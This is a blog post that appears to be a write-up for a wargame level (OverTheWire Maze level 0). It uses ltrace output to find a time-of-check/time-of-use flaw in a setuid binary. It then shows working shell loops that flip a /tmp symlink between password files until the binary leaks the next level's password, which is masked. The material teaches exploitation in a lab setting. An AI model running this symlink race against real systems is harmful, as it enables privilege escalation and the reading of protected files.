maze0@maze:/tmp$ ltrace /maze/maze0 __libc_start_main(0x804854b, 1, 0xffffd794, 0x80485e0 <unfinished ...> memset(0xffffd6d8, '\0', 20) = 0xffffd6d8 access("/tmp/128ecf542a35ac5270a87dc7409"..., 4) = -1 +++ exited (status 0) +++
It access the file "/tmp/128ecf542a35ac5270a87dc740918404" and checks if it has read access.
Let's create such a file and execute the vulnerable code.
maze0@maze:/tmp$ echo "AAAA" > "/tmp/128ecf542a35ac5270a87dc740918404" maze0@maze:/tmp$ ltrace /maze/maze0 __libc_start_main(0x804854b, 1, 0xffffd794, 0x80485e0 <unfinished ...> memset(0xffffd6d8, '\0', 20) = 0xffffd6d8 access("/tmp/128ecf542a35ac5270a87dc7409"..., 4) = 0 geteuid() = 15000 geteuid() = 15000 geteuid() = 15000 setresuid(0x3a98, 0x3a98, 0x3a98, 0) = 0 open("/tmp/128ecf542a35ac5270a87dc7409"..., 0, 00) = 3 read(3, "AAAA\n", 19) = 5 write(1, "AAAA\n", 19AAAA ) = 19 +++ exited (status 0) +++
It opens the file and write the content to stdout.
We can remove the file and create a symbolic link with the same name that points to the password file /etc/maze_pass/maze1.
Unfortunately id doesn't work.
The reason is that maze1 program access() the file to find if it's readable.
Then changes the EUID to get higher privileges
After that tries to read the file.
In other words: the privileges on the file are checked as maze0 (with his user rights), while effective read is done as maze1 user.
This is a problem because we can't get past the access() function. Or not?
I believe there is some space for a race condition.
What if we run two concurrent infinite loops in two separate terminal session?
One session runs maze1 program continuously.
The other session executes two operations: create the link to maze0 password file and just after change the same link to point to maze1 password file.
Sine it's a loop It keeps changing the target of the same soft link to different files.
With some luck, and if link creation is faster the maze1 execution, we should be able to create the link to maze0 password file just before maze1 check the rights with access().
And then the link is changed to maze1 pasword file just before maze1 executes the read() operation on the link.
If that happens maze1 executable will successfully read the maze1 password file.
So in one terminal we run:
while [ 1 ]; do ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404 ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404 done;
In another terminal we run:
while [ 1 ]; do /maze/maze0 done;
It will show some error related to resource usage, but finally after some time we will see the password
-bash: fork: retry: Resource temporarily unavailable ... -bash: fork: retry: Resource temporarily unavailable h*******n -bash: fork: retry: Resource temporarily unavailable
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.